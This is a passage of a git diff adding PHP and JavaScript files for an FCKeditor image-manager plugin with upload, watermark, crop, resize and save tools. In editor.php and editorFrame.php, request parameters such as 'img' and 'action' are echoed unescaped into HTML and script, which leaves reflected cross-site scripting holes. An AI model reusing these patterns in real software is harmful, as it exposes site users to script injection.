+/*
+ Possible values: true, false
+
+ TRUE - If set to true, uploaded files will be validated based on the 
+        function getImageSize, if we can get the image dimensions then 
+        I guess this should be a valid image. Otherwise the file will be rejected.
+
+ FALSE - All uploaded files will be processed.
+
+ NOTE: If uploading is not allowed, this parameter is ignored.
+*/
+$IMConfig['validate_images'] = true;
+
+/*
+ The default thumbnail if the thumbnails can not be created, either
+ due to error or bad image file.
+*/
+$IMConfig['default_thumbnail'] = 'img/default.gif';
+
+/*
+  Thumbnail dimensions.
+*/
+$IMConfig['thumbnail_width'] = 96;
+$IMConfig['thumbnail_height'] = 96;
+
+/*
+  Image Editor temporary filename prefix.
+*/
+$IMConfig['tmp_prefix'] = '.editor_';
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/editor.php b/fckeditor/editor/plugins/ImageManager/editor.php
new file mode 100644 (file)
index 0000000..7077641
--- /dev/null
@@ -0,0 +1,295 @@
+<?php
+/**
+ * The PHP Image Editor user interface.
+ * @author Wei Zhuo
+ * @author Paul Moers <mail@saulmade.nl> - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+ * @version $Id: editor.php,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+require_once('Classes/ImageEditor.php');
+
+$manager = new ImageManager($IMConfig);
+$editor = new ImageEditor($manager, $IMConfig);
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html>
+<head>
+<title>edit image</title>
+<link href="assets/editor.css" rel="stylesheet" type="text/css" />     
+
+<script type="text/javascript">
+/*<![CDATA[*/
+
+       window.resizeTo(673, 531);
+
+       // find language object
+       if(window.opener)
+       {
+               if (window.opener.I18N)
+               {
+                       I18N = window.opener.I18N;
+               }
+               // direct edit
+               else if (window.opener.ImageManager && window.opener.ImageManager.I18N)
+               {
+                       I18N = window.opener.ImageManager.I18N;
+               }
+       }
+
+       // language object not found?
+       if (!this.I18N)
+       {
+               // Read it now - copy in next script block
+               document.write('<script type="text/javascript" src="lang/' + window.opener._editor_lang + '.js"><\/script>');
+       }
+
+/*]]>*/
+</script>
+
+<script type="text/javascript">
+/*<![CDATA[*/
+
+       // now copy the language object of the included script - needed a seperate new script block to be able to do so
+       if (!this.I18N)
+       {
+               I18N = this.ImageManager.I18N;
+       }
+
+/*]]>*/
+</script>
+
+<script type="text/javascript" src="assets/slider.js"></script>
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript" src="assets/editor.js"></script>
+
+</head>
+
+<body>
+<div id="indicator">
+<img src="img/spacer.gif" id="indicator_image" height="20" width="20" alt="" />
+</div>
+<div id="tools">
+       <div id="tools_replace" style="display:none;">
+               <div id="tool_inputs">
+               <table>
+               <tr>
+                       <td>
+                               <form action="editorFrame.php?img=<?php echo $_GET['img']?>&action=replace" target='editor' id="uploadForm" method="post" enctype="multipart/form-data">
+                                       &nbsp;<input type="file" name="upload" id="upload"/>
+                                       <input type="hidden" name="dir" id="dir" value="<?php echo dirname($_GET['img'])?>" />
+                               </form>
+                       </td>
+                       <td>
+                               <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+                       </td>
+               </tr>
+               </table>
+               </div>  
+               <a href="javascript: doUpload(); document.getElementById('uploadForm').submit();" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+       </div>  
+       <div id="tools_watermark" style="display:none;">
+               <div id="watermarkControls">
+                       <div id="tool_inputs">
+                               <label for="watermark_file">Watermark</label>: <select name="watermark_file" id="watermark_file" style="vertical-align: middle;" onchange="changeWatermark(this)"><!-- populated in editorFrame.php --></select>
+
+                               <label style="margin-left: 15px;">Opacity:</label>
+                               <table style="display: inline; vertical-align: middle;" cellpadding="0" cellspacing="0">
+                                       <tr>
+                                       <td>
+                                               <div id="slidercasingwatermark" class="slidercasing"> 
+                                       <div id="slidertrackwatermark" class="slidertrack" style="width:100px"><img src="img/spacer.gif" width="1" height="1" border="0" alt="track"></div>
+                               <div id="sliderbarwatermark" class="sliderbar" style="left:100px" onmousedown="captureStart('watermark');"><img src="img/spacer.gif" width="1" height="1" border="0" alt="track"></div>
+                               </div>  
+                                       </td>
+                                       </tr>
+                               </table>                                
+                               <input type="text" id="sliderfieldwatermark" onchange="updateSlider(this.value, 'watermark')" style="width: 2em;" value="100"/>
+                               <table style="display: inline; vertical-align: bottom; margin: 0px 5px 0px 20px;" cellpadding="0" cellspacing="0">
+                                       <tr>
+                                       <td>
+                                               <div style="cursor: pointer; cursor: hand; background-image: url(img/watermarkAlign.gif); vertical-align: middle; width: 24px; height: 24px; position: relative;">
+                                                       <div style="position: absolute; left: 1px; top: 1px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(0, 0);"></div>
+                                                       <div style="position: absolute; left: 10px; top: 1px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(0.5, 0);"></div>
+                                                       <div style="position: absolute; left: 19px; top: 1px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(1, 0);"></div>
+                                                       <div style="position: absolute; left: 1px; top: 10px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(0, 0.5);".5></div>
+                                                       <div style="position: absolute; left: 10px; top: 10px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(0.5, 0.5);"></div>
+                                                       <div style="position: absolute; left: 19px; top: 10px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(1, 0.5);"></div>
+                                                       <div style="position: absolute; left: 1px; top: 19px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(0, 1);"></div>
+                                                       <div style="position: absolute; left: 10px; top: 19px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(0.5, 1);"></div>
+                                                       <div style="position: absolute; left: 19px; top: 19px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(1, 1);"></div>
+                                               </div>
+                                       </td>
+                                       </tr>
+                               </table>                
+                               <table style="display: inline; vertical-align: bottom; margin: 0px 10px 0px 5px;" cellpadding="0" cellspacing="0">
+                                       <tr>
+                                       <td>
+                                               <div style="cursor: pointer; cursor: hand; background-image: url(img/watermarkColor.gif); vertical-align: middle; width: 18px; height: 26px; position: relative;">
+                                                       <div style="position: absolute; left: 1px; top: 1px; width: 6px; height: 3px; overflow: hidden;" onclick="colorWatermarkBG('');"></div>
+                                                       <div style="position: absolute; left: 11px; top: 1px; width: 6px; height: 3px; overflow: hidden;" onclick="colorWatermarkBG('grid');"></div>
+                                                       <div style="position: absolute; left: 1px; top: 8px; width: 6px; height: 3px; overflow: hidden;" onmouseover="this.style.backgroundColor='#FFFFFF'" onmouseout="this.style.backgroundColor='transparent'" onclick="colorWatermarkBG('#FFFFFF');"></div>
+                                                       <div style="position: absolute; left: 11px; top: 8px; width: 6px; height: 3px; overflow: hidden;" onmouseover="this.style.backgroundColor='#000000'" onmouseout="this.style.backgroundColor='transparent'" onclick="colorWatermarkBG('#000000');"></div>
+                                                       <div style="position: absolute; left: 1px; top: 15px; width: 6px; height: 3px; overflow: hidden;" onmouseover="this.style.backgroundColor='#FF0000'" onmouseout="this.style.backgroundColor='transparent'" onclick="colorWatermarkBG('#FF0000');"></div>
+                                                       <div style="position: absolute; left: 11px; top: 15px; width: 6px; height: 3px; overflow: hidden;" onmouseover="this.style.backgroundColor='#00FF00'" onmouseout="this.style.backgroundColor='transparent'" onclick="colorWatermarkBG('#00FF00');"></div>
+                                                       <div style="position: absolute; left: 1px; top: 22px; width: 6px; height: 3px; overflow: hidden;" onmouseover="this.style.backgroundColor='#0000FF'" onmouseout="this.style.backgroundColor='transparent'" onclick="colorWatermarkBG('#0000FF');"></div>
+                                                       <div style="position: absolute; left: 11px; top: 22px; width: 6px; height: 3px; overflow: hidden;" onmouseover="this.style.backgroundColor='#FFFF00'" onmouseout="this.style.backgroundColor='transparent'" onclick="colorWatermarkBG('#FFFF00');"></div>
+                                               </div>
+                                       </td>
+                                       </tr>
+                               </table>                
+                               <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+                       </div>  
+                       <a href="javascript: editor.doSubmit('watermark');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+               </div>  
+               <div id="watermarkMessage" style="display: none;">
+                       <script>document.write("<div id=\"tool_inputs\" style=\"text-align: center; width: 90%; color: #474767;\"><label style=\" font-weight: bold; letter-spacing: 3px;\">" + i18n("Watermarking is disabled.") + "</label><br /><label>" + i18n("No watermarks were found or all watermarks are to big for the target image.") + "</label></div>");</script>
+               </div>  
+       </div>  
+       <div id="tools_crop" style="display:none;">
+               <div id="tool_inputs">
+                       <label for="cx">Start X:</label><input type="text" id="cx"  class="textInput" onchange="updateMarker('crop')"/>
+                       <label for="cy">Start Y:</label><input type="text" id="cy" class="textInput" onchange="updateMarker('crop')"/>
+                       <label for="cw">Width:</label><input type="text" id="cw" class="textInput" onchange="updateMarker('crop')"/>
+                       <label for="ch">Height:</label><input type="text" id="ch" class="textInput" onchange="updateMarker('crop')"/>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+               </div>  
+               <a href="javascript: editor.doSubmit('crop');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+               <a href="javascript: editor.reset();" class="buttons" title="Cancel"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>           
+       </div>  
+       <div id="tools_scale" style="display:none;">
+               <div id="tool_inputs">
+                       <label for="sw">Width:</label><input type="text" id="sw" class="textInput" onchange="checkConstrains('width')"/>
+                       <a href="javascript:toggleConstraints();" title="Lock"><img src="img/islocked2.gif" id="scaleConstImg" height="14" width="8" alt="Lock" class="div" /></a><label for="sh">Height:</label>
+                       <input type="text" id="sh" class="textInput" onchange="checkConstrains('height')"/>
+                       <input type="checkbox" id="constProp" value="1" checked="checked" onclick="toggleConstraints()"/>
+                       <label for="constProp">Constrain Proportions</label>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+               </div>  
+               <a href="javascript: editor.doSubmit('scale');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+               <a href="javascript: editor.reset();" class="buttons" title="Cancel"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>           
+       </div>  
+       <div id="tools_rotate" style="display:none;">
+               <div id="tool_inputs">
+                       <select id="flip" name="flip" style="margin-left: 10px; vertical-align: middle;">
+              <option selected>Flip Image</option>
+              <option>-----------------</option>
+              <option value="hoz">Flip Horizontal</option>
+              <option value="ver">Flip Virtical</option>
+         </select>
+                       <select name="rotate" onchange="rotatePreset(this)" style="margin-left: 20px; vertical-align: middle;">
+              <option selected>Rotate Image</option>
+              <option>-----------------</option>
+
+              <option value="180">Rotate 180 &deg;</option>
+              <option value="90">Rotate 90 &deg; CW</option>
+              <option value="-90">Rotate 90 &deg; CCW</option>
+         </select>
+                       <label for="ra">Angle:</label><input type="text" id="ra" class="textInput" value="0"/>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+               </div>  
+               <a href="javascript: editor.doSubmit('rotate');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+       </div>          
+       <div id="tools_measure" style="display:none;">
+               <div id="tool_inputs">
+                       <label id="xLabel">X:<input type="text" class="measureStats" id="sx" disabled /></label>
+                       <label id="yLabel">Y:<input type="text" class="measureStats" id="sy" disabled /></label>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+                       <label id="widthLabel">W:<input type="text" class="measureStats" id="mw" disabled /></label>
+                       <label id="heightLabel">H:<input type="text" class="measureStats" id="mh" disabled /></label>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+                       <label id="angleLabel">A:<input type="text" class="measureStats" id="ma" disabled /></label>
+                       <label id="diagonalLabel">D:<input type="text" class="measureStats" id="md" disabled /></label>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+                       <button type="button" onclick="editor.reset();" >Clear</button>
+
+                       <script>
+                               document.getElementById("xLabel").title = i18n("start x coordinate");
+                               document.getElementById("yLabel").title = i18n("start y coordinate");
+                               document.getElementById("widthLabel").title = i18n("width");
+                               document.getElementById("heightLabel").title = i18n("height");
+                               document.getElementById("angleLabel").title = i18n("angle");
+                               document.getElementById("diagonalLabel").title = i18n("diagonal length");
+                       </script>
+               </div>  
+       </div>
+       <div id="tools_save" style="display:none;">
+
+<?php if($IMConfig['demo'] != true) { ?>
+
+               <div id="tool_inputs">
+
+       <?php if($IMConfig['allow_newFileName'] == true) { ?>
+                       <label for="save_filename">Filename:</label><input type="text" id="save_filename" value="<?php if($IMConfig['allow_overwrite'] == false){ echo $editor->getDefaultSaveFile(); }else{ echo basename($_GET['img']); } ?>" />
+       <?php }else{ ?>
+                       <input type="hidden" id="save_filename" value="<?php echo basename($_GET['img']); ?>" />
+       <?php } ?>
+
+       <?php
+       $pos = strrpos($_GET['img'], ".");
+       $ext = substr($_GET['img'], $pos + 1);
+       ?>
+                       <select name="format" id="save_format" style="margin-left: 10px; vertical-align: middle; <?php if($IMConfig['allow_newFileName'] != true && $ext != "jpg" && $ext != "jpeg") {echo "display: none;";} ?>" onchange="updateFormat(this)">
+            <option value="" selected>Image Format</option>
+            <option value="">---------------------</option>
+            <option value="jpeg,85">JPEG High</option>
+            <option value="jpeg,60">JPEG Medium</option>
+            <option value="jpeg,35">JPEG Low</option>
+                       <?php if($IMConfig['allow_newFileName'] == true){ ?>
+            <option value="png">PNG</option>
+                       <?php    if($editor->isGDGIFAble() != -1) { ?>
+            <option value="gif">GIF</option>
+                       <?php    } ?>
+                       <?php } ?>
+                       </select>
+
+                       <label>Quality:</label>
+                       <table style="display: inline; vertical-align: middle;" cellpadding="0" cellspacing="0">
+                               <tr>
+                               <td>
+                                       <div id="slidercasingsave" class="slidercasing"> 
+                               <div id="slidertracksave" class="slidertrack" style="width:100px"><img src="img/spacer.gif" width="1" height="1" border="0" alt="track"></div>
+            <div id="sliderbarsave" class="sliderbar" style="left:85px" onmousedown="captureStart('save');"><img src="img/spacer.gif" width="1" height="1" border="0" alt="track"></div>
+                       </div>  
+                               </td>
+                               </tr>
+                       </table>                                
+                       <input type="text" id="sliderfieldsave" onchange="updateSlider(this.value, 'save')" style="width: 2em;" value="85"/>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+               </div>  
+               <a href="javascript: editor.doSubmit('save');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+
+       <?php }else{ ?>
+
+               <div id="tool_inputs" style="text-align: center; width: 90%; font-size: 150%; font-weight: bold; letter-spacing: 3px; color: #474767;">
+                       <label>Demo</label>
+               </div>  
+
+       <?php } ?>
+
+       </div>  
+</div>
+<div id="toolbar">
+       <div id="buttons">
+
+               <a href="javascript:toggle('replace')" id="icon_replace" title="Replace" <?php if($IMConfig['allow_replace'] == false) { echo "style=\"display: none;\""; } ?> ><img src="img/replace.gif" height="20" width="20" alt="Replace" /><span>Replace</span></a>
+               <a href="javascript:toggle('watermark')" id="icon_watermark" title="Watermark" <?php if(empty($IMConfig['watermarks'])) { echo "style=\"display: none;\""; } ?> ><img src="img/watermark.gif" height="20" width="20" alt="Watermark" /><span>Watermark</span></a>
+               <a href="javascript:toggle('crop')" id="icon_crop" title="Crop"><img src="img/crop.gif" height="20" width="20" alt="Crop" /><span>Crop</span></a>
+               <a href="javascript:toggle('scale')" id="icon_scale" title="Resize"><img src="img/scale.gif" height="20" width="20" alt="Resize" /><span>Resize</span></a>
+               <a href="javascript:toggle('rotate')" id="icon_rotate" title="Rotate"><img src="img/rotate.gif" height="20" width="20" alt="Rotate" /><span>Rotate</span></a>
+               <a href="javascript:toggle('measure')" id="icon_measure" title="Measure"><img src="img/measure.gif" height="20" width="20" alt="Measure" /><span>Measure</span></a>
+               <a href="javascript: toggleMarker();" title="Marker"><img id="markerImg" src="img/t_black.gif" height="20" width="20" alt="Marker" /><span>Marker</span></a>
+               <a href="javascript:toggle('save')" id="icon_save" title="Save"><img src="img/save.gif" height="20" width="20" alt="Save" /><span>Save</span></a>
+       </div>
+</div>
+<div id="contents">
+<div id="messages" style="display: none;"><span id="message"></span><img SRC="img/dots.gif" width="22" height="12" alt="..." /></div>
+<iframe src="editorFrame.php?img=<?php if(isset($_GET['img'])) echo rawurlencode($_GET['img']); ?>" name="editor" id="editor" scrolling="auto" title="Image Editor" frameborder="0"></iframe>
+</div>
+<div id="bottom"></div>
+</body>
+</html>
diff --git a/fckeditor/editor/plugins/ImageManager/editorFrame.php b/fckeditor/editor/plugins/ImageManager/editorFrame.php
new file mode 100644 (file)
index 0000000..ebf8d80
--- /dev/null
@@ -0,0 +1,315 @@
+<?php
+       /**
+        * The frame that contains the image to be edited.
+        * @author Wei Zhuo
+        * @author Paul Moers <mail@saulmade.nl> - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+        * @version $Id: editorFrame.php,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+        * @package ImageManager
+        */
+
+       require_once('config.inc.php');
+       require_once('Classes/ImageManager.php');
+       require_once('Classes/ImageEditor.php');
+
+       //default path is /
+       $relative = '/';
+
+       $manager = new ImageManager($IMConfig);
+       $editor = new ImageEditor($manager);
+
+       // process any uploaded files
+       $imageRelative = $manager->processUploads();
+
+       // get image info and process any action
+       $imageInfo = $editor->processImage($imageRelative);
+
+?>
+<!--[if IE]>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
+<![endif]-->
+<html>
+<head>
+<title></title>
+<link href="assets/editorFrame.css" rel="stylesheet" type="text/css" />
+<script type="text/javascript" src="assets/wz_jsgraphics.js"></script>
+<script type="text/javascript" src="assets/wz_dragdrop.js"></script>
+<script type="text/javascript" src="assets/EditorContent.js"></script>
+<script type="text/javascript" src="assets/editorFrame.js"></script>
+
+<style>
+
+       /* for centering the image vertically in IE */
+       html, body
+       {
+               height: 100%;
+       }
+
+</style>
+
+<script type="text/javascript">
+// <![CDATA[
+
+       var processedAction = "<?php echo (isset($_GET['action']) ? $_GET['action'] : ''); ?>";
+
+       if (processedAction == 'replace' && parent.old)
+       {
+               // reallow the user to close the editor window now uploading is done
+               parent.onbeforeunload = function () {parent.old();};
+       }
+
+       // set function for the wz_dragdrop script to use when dragging
+       function my_DragFunc()
+       {
+               verifyBounds();
+       }
+
+       // keep the watermark within the background
+       function verifyBounds()
+       {
+               var
+                       orig = dd.elements.background,
+                       floater = dd.elements.floater,
+                       newX = floater.x,
+                       newY = floater.y
+                       ;
+
+               if (floater.x < orig.x)
+               {
+                       newX = orig.x;
+               }
+               else if (floater.x + floater.w > orig.x + orig.w)
+               {
+                       newX = orig.x + (orig.w - floater.w);
+               }
+               if (floater.y < orig.y)
+               {
+                       newY = orig.y;
+               }
+               else if (floater.y + floater.h > orig.y + orig.h)
+               {
+                       newY = orig.y + (orig.h - floater.h);
+               }
+               if (newX != floater.x || newY != floater.y)
+               {
+                       floater.moveTo(newX, newY);
+               }
+       }
+
+// ]]>
+</script>
+
+
+<script type="text/javascript">
+
+       var mode = "<?php echo $editor->getAction(); ?>" //crop, scale, measure
+       var currentImageFile = "<?php if(count($imageInfo)>0) echo rawurlencode($imageInfo['file']); ?>";
+
+       if(window.top)
+       {
+               I18N = window.top.I18N;
+       }
+
+       function i18n(str)
+       {
+               if(I18N)
+                       return (I18N[str] || str);
+               else
+                       return str;
+       };
+       
+</script>
+
+<script type="text/javascript">
+<?php
+       if ($editor->isFileSaved() == 1)
+       {
+?>
+       // Reload the images in the imageframe of the Manager :
+       // Is there a "imgManager" frame. 
+       if ((popupWindow = parent.opener.parent) && (imgManager = parent.opener.parent.document.getElementById("imgManager")))
+       {
+               // refresh it - so it shows the edited image.
+               imgManager.src = imgManager.src;
+       }
+       else
+       {
+               popupWindow = parent;
+       }
+       // Reload the images in the editor :
+       // base system is the FCKeditor?
+       if (popupWindow.opener.FCK)
+       {
+               editorFrame = popupWindow.opener.parent.document.getElementById(popupWindow.opener.FCK.Name + '___Frame');
+               // get document
+               if (editorDocument = popupWindow.opener.FCK.EditorDocument.body)
+               {
+                       editorImages = editorDocument.getElementsByTagName("img");
+                       for (i = 0; i < editorImages.length; i++)
+                       {
+                               // reapply images their src to reload'm
+                               editorImages[i].src = editorImages[i].src;
+                       }
+               }
+       }
+       // not found?
+       if (!editorImages)
+       {
+               alert(i18n("Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content."));
+       }
+
+       // save message
+       var message = i18n('File saved.');
+<?php
+       if ($editor->forcedNewName != false)
+       {
+?>
+       message += '\n' + i18n('File name was changed into ') +  '<?php echo $editor->forcedNewName; ?>';
+<?php
+       }
+?>
+       alert(message);
+<?php
+       }
+       else if ($editor->isFileSaved() == -1)
+       {
+?>
+       alert(i18n('File was not saved.'));
+<?php
+       }
+?>
+
+       // show action buttons and current action's controls - were hidden during processing
+       if (processedAction != '')
+       {
+               if ('flip' == processedAction)
+               {
+                       processedAction = 'rotate';
+               }
+               var tools = parent.document.getElementById('tools_' + processedAction);
+               tools.style.display = 'block';
+               var buttons = parent.document.getElementById('buttons');
+               buttons.style.display = 'block';
+       }
+
+
+       // populating watermarks select box (excluding watermarks that are to big or became to big for the editted image)
+       watermarkBox = parent.document.getElementById("watermark_file");
+       imagesArray = new Array();
+       // first clear all its options
+       watermarkBox.options.length = 0;
+<?php
+       foreach($IMConfig['watermarks'] as $watermark)
+       {
+               $watermarkInfo = @getImageSize($IMConfig['base_dir'] . $watermark);
+               // populate
+               if ($watermarkInfo[0] < $imageInfo['width'] && $watermarkInfo[1] < $imageInfo['height'] && $watermarkInfo[0] != '')
+               {
+                       $pos = strrpos(basename($watermark), ".");
+                       $filename = substr(basename($watermark), 0, $pos);
+
+                       echo "watermarkBox.options[watermarkBox.options.length] = new Option('" . basename($watermark) . "', '$filename');";
+                       echo "watermarkBox.options[watermarkBox.options.length - 1].setAttribute('fullPath', '" . $IMConfig['base_dir'] . $watermark . "');";
+                       echo "watermarkBox.options[watermarkBox.options.length - 1].setAttribute('x', $watermarkInfo[0]);";
+                       echo "watermarkBox.options[watermarkBox.options.length - 1].setAttribute('y', $watermarkInfo[1]);";
+
+                       echo $filename . "Preload = new Image(10, 10);";
+                       echo $filename . "Preload.src = '" . $IMConfig['base_url'] . $watermark . "';";
+               }
+               // first item unavailable?
+               else if ($watermark == $IMConfig['watermarks'][0])
+               {
+                       echo "var firstWatermarkItemUnavailable = true;";
+               }
+
+       }
+?>
+       // no watermarks found? Show message instead of watermarking controls.
+       if (!watermarkBox.options[0])
+       {
+               parent.document.getElementById("watermarkControls").style.display = "none";
+               parent.document.getElementById("watermarkMessage").style.display = "block";
+
+               var watermarkingEnabled = false;
+       }
+       // else just show the controls
+       else
+       {
+               parent.document.getElementById("watermarkControls").style.display = "block";
+               parent.document.getElementById("watermarkMessage").style.display = "none";
+
+               var watermarkingEnabled = true;
+       }
+
+</script>
+
+</head>
+
+<body>
+<div id="status"></div>
+<div id="ant" class="selection" style="visibility:hidden"><img src="img/spacer.gif" width="0" height="0" border="0" alt="" id="cropContent"></div>
+<?php if ($editor->isGDEditable() == -1) { ?>
+       <div style="text-align:center; padding:10px;"><span class="error">GIF format is not supported, image editing not supported.</span></div>
+<?php } ?>
+<table height="100%" width="100%">
+       <tr>
+               <td>
+<?php if(count($imageInfo) > 0 && is_file($imageInfo['fullpath'])) { ?>
+
+               <div id="background" name="background" style="margin: auto; width: <?php echo $imageInfo['width']; ?>px; height: <?php echo $imageInfo['height']; ?>px; background-image: url(<?php echo $imageInfo['src']; ?>);">
+               <?php if (count($IMConfig['watermarks']) > 0) { ?>
+                       <img name="floater" id="floater" style="width: 150px; height: 150px; behavior: url('assets/pngbehavior.htc'); position: absolute" src="<?php echo $IMConfig['base_url'] . $IMConfig['watermarks'][0]; ?>" />
+               <?php } ?>
+               </div>
+
+               <span id="imgCanvas" name="imgCanvas" class="crop" style="display: none;"><img src="<?php echo $imageInfo['src']; ?>" <?php echo $imageInfo['dimensions']; ?> alt="" id="theImage" name="theImage" /></span>
+
+<?php } else { ?>
+                               <span class="error">No Image Available</span>
+<?php } ?>
+               </td>
+       </tr>
+</table>
+
+<script type="text/javascript">
+// <![CDATA[
+
+       if (watermarkingEnabled == true)
+       {
+               SET_DHTML("background"+NO_DRAG, "floater"+CURSOR_MOVE);
+               if (window.firstWatermarkItemUnavailable == true)
+               {
+                       dd.elements.floater.swapImage(eval("window." + watermarkBox.options[0].value + "Preload.src"));
+               }
+               dd.elements.floater.resizeTo(watermarkBox.options[0].getAttribute("x"), watermarkBox.options[0].getAttribute("y"));
+               dd.elements.floater.hide();
+               verifyBounds();
+               dd.elements.floater.nimg.style.behavior = "url('assets/pngbehavior.htc')";
+
+<?php
+       if (isset($_GET['action']))
+       {
+               if ($_GET['action'] == "watermark")
+               {?>
+                               dd.elements.floater.show();
+               <?php }
+       }
+?>
+       }
+       else
+       {
+               if (document.getElementById("floater"))
+               {
+                       document.getElementById("floater").style.display = "none";
+               }
+       }
+
+       // hiding parent processing message
+       parent.window.hideMessage();
+
+       // make sure the slider of the watermark's opacity if at max
+       parent.window.updateSlider(100, 'watermark');
+
+// ]]>
+</script>
+</body>
+</html>
diff --git a/fckeditor/editor/plugins/ImageManager/fckplugin.js b/fckeditor/editor/plugins/ImageManager/fckplugin.js
new file mode 100644 (file)
index 0000000..9cdfcd8
--- /dev/null
@@ -0,0 +1,277 @@
+// ================================================
+// Image Manager FCKeditor interface (IE & Gecko)
+// ================================================
+// Plugin Interface: Brent Kelly - Zeald.com
+// (c)2005 All rights reserved.
+// ================================================
+// Integrates FCKeditor with:
+// PHP image manager http://www.zhuo.org/htmlarea/
+// ================================================
+// Revision: 1.0                   Date: 06/03/2005
+// $Id: fckplugin.js,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+// ================================================
+
+
+
+// ==============       config settings       ===========
+
+// plugin's language
+       var _editor_lang = "en";
+// show image manager or show immediately the image editor
+// false = use manager, standard behavior
+// true = no manager, only editing the image
+       var IM_directEdit = false;
+
+// ================================================
+
+
+
+
+       var FCKImageManager = function(name) {  
+               this.Name = name;               
+       }  
+       // manage the plugins' button behavior  
+       FCKImageManager.prototype.GetState = function() {  
+               return FCK_TRISTATE_OFF;  
+       }  
+        
+       FCKCommands.RegisterCommand('ImageManager', new FCKImageManager('ImageManager')) ;  
+        
+       // Create the toolbar button. 
+       var oImageManagerItem = new FCKToolbarButton( 'ImageManager', "ImageManager", null, null, false, true ) ; 
+       oImageManagerItem.IconPath = FCKConfig.PluginsPath + 'ImageManager/icon.gif' ; 
+       FCKToolbarItems.RegisterItem( 'ImageManager', oImageManagerItem ) ;
+       
+       FCKImageManager.prototype.Execute = function() {  
+               ImageManager_click(FCK, null)   
+       }
+
+    // Open the Placeholder dialog on double click.
+    function ImageManager_doubleClick (img) {
+
+               if ( img.tagName == 'IMG' ) FCKCommands.GetCommand( 'ImageManager' ).Execute() ;
+       }
+
+       FCK.RegisterDoubleClickHandler( ImageManager_doubleClick, 'IMG' ) ;     
+
+       // starting ImageManager
+       function ImageManager_click(editor, sender) {
+               var wArgs = {};
+               if(FCKSelection.GetType() == 'Control') {
+                       var sElm = FCK.Selection.GetSelectedElement();
+               } if(FCKSelection.GetType() == 'Text') {
+                       var sElm = FCKSelection.GetParentElement();
+               }
+               
+               if (sElm != null && sElm.nodeName.toLowerCase() == 'img') var im = sElm;  // is current cell a image ?                  
+       
+               if (im) { // selected object is image
+                       wArgs.f_url             = im.src ? im.src : '';
+                       wArgs.f_alt             = im.alt ? im.alt : '';
+                       wArgs.f_title   = im.title ? im.title : '';
+                       wArgs.f_width   = im.style.width  ? im.style.width  : im.width;
+                       wArgs.f_height  = im.style.height ? im.style.height : im.height;
+                       wArgs.f_border  = im.border ? im.border : '';
+                       wArgs.f_align   = im.align ? im.align : '';
+                       wArgs.f_className = im.className ? im.className : '';
+                       
+                       // (-1 when not set under gecko for some reason)
+                       wArgs.f_horiz = (im.hspace >= 0) ? im.attributes['hspace'].nodeValue : ''; 
+                       wArgs.f_vert = (im.vspace >= 0) ? wArgs.f_vert = im.attributes['vspace'].nodeValue : '';                        
+               } else {
+                       wArgs = null;
+               }
+               //-------------------------------------------------------------------------
+               var manager = new ImageManager();
+               manager.insert(wArgs);
+
+       }
+
+//-------------------------------------------------------------------------
+function setAttrib(element, name, value, fixval) { // set element attributes
+       if (!fixval && value != null) {
+               var re = new RegExp('[^0-9%]', 'g');
+               value = value.replace(re, '');
+       }
+       if (value != null && value != '') {
+               element.setAttribute(name, value);
+       } else {
